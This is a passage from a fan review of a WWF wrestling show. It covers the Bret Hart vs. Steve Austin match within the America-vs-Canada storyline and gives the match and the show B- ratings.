The Hart Foundation are in the back and say that no matter what they won’t forgive the fans. Tonight it’s war: America vs. Canada, and so begins the final storyline for Bret in the WWF.

Bret Hartvs. Steve Austin

Before the match Owen and Bulldog are sent to the back. Austin comes out, still a bit shaky from getting beaten up and the fight is on immediately. Rattlesnake dominates the early part here, sending Bret into the steps time and time again. All of a sudden I have French commentary. Ok then. Austin imitating Bret signature pose is quite good indeed. American commentary back now.

For the most part of this short match (12 minutes as compared to 17 for the previous one) it’s back and forth with Bret having a slight advantage. Bret works on Austin’s knee for the majority of the match which is standard operating procedure for him. That’s your main match: Austin fights, Bret kicks the knee, lather, rinse, repeat.

The main stuff doesn’t really come into play until the end when Austin hits Bret in the head with the knee brace and puts him in the Sharpshooter, prompting Smith to come in and blast him with a chair. Post match, Austin destroys Bret’s knee with a chair. This would lead to a rematch either the next night or a week later where he would completely destroy it and Bret would miss some time with the injury.

Rating: B-. The problem here is this match was a month after the Submission Match. That simply was not going to be topped and no matter what they did that’s what it was going to be compared to. It’s a good match, but by comparison it’s average at best. It’s not fair to make that comparison but that’s just the way people think.

Overall Rating: B-. There’s one truly bad match on this show and it was easily the shortest as well. Definitely an ok show. It’s not bad but it’s not great either. It was coming off of Mania which is always hard to do so what can you really ask for? There’s enough decent stuff here to make it watchable but not enough to make it worth going out of your way to see so we’ll call it mildly recommended.

 

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